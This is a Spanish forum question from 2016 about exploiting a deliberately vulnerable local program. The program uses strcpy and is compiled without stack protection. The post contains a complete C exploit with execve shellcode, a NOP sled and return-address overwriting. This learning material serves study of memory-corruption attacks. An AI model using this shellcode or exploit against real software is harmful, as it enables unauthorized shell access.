Stack overflow return addr

2

Estoy intentando explotar una vulnerabilidad de desbordamiento de búfer estándar en un programa que usa strcpy() para llenar un búfer de 200 char , sin verificar los límites, y compilado con -z execstack y -fno-stack-protector . También he deshabilitado el kernel randomize_va_space.

Lo primero que hago es abrir gdb, pruebo la longitud correcta para sobrescribir el addr de retorno, es 222, así que escribí un programa exploit.c como se muestra:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char *shellcode = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

#define BUFF_SIZE 222

unsigned long get_sp(void){
    __asm__("mov %rsp, %rax");
}

int main(int argc, char *argv[]){
    if (argc != 2){
        printf("give one argument\n");
        exit(0);
    }
    long *addr_ptr, ret, esp;
    int offset, i;
    char *ptr, buffer[BUFF_SIZE];

    offset = atoi(argv[1]);
    esp = get_sp();
    ret = esp - offset;
    printf("esp:0x%016lx\tret:0x%016lx\n", esp, ret);
    ptr = buffer;
    addr_ptr = (long*)(buffer);
    //Filling the buffer         
    for(i=0;i<BUFF_SIZE;i+=8){
        *(addr_ptr++) = ret;
    };
    for(i=0;i<BUFF_SIZE/2;i++){
        *(ptr+i) = '\x90';
    };
    for(i=0;i<strlen(shellcode);i++){
        *(ptr+i+16) = shellcode[i];
    };
    buffer[BUFF_SIZE-1] = '\x0';

    execl("./buffer_vuln", "buffer_vuln", buffer, NULL);
};

Esto envía el exploit a mi programa "buffer_vuln"; Relleno el búfer con ret (que se modifica por un desplazamiento), y un sled NOP que conduce al shellcode. No obtuve ningún resultado al intentar esto, incluso en un rango de compensación largo (-250, 3000). El programa específico imprime la dirección y el contenido de su matriz, todo parece correcto pero no puedo ver las direcciones de devolución impresas después de los NOP, me pregunto dónde no se puede abrir una shell.

-Editar-

Cambié a 32 bits para que la dirección de la pila no contenga ningún cero. También compilé el código shell y me aseguré de que funcionara por su cuenta. ¡Explotación funciona! Voy a intentar amd64 ahora, gracias!

    
pregunta Yvain 27.12.2016 - 10:09
fuente

0 respuestas

Lea otras preguntas en las etiquetas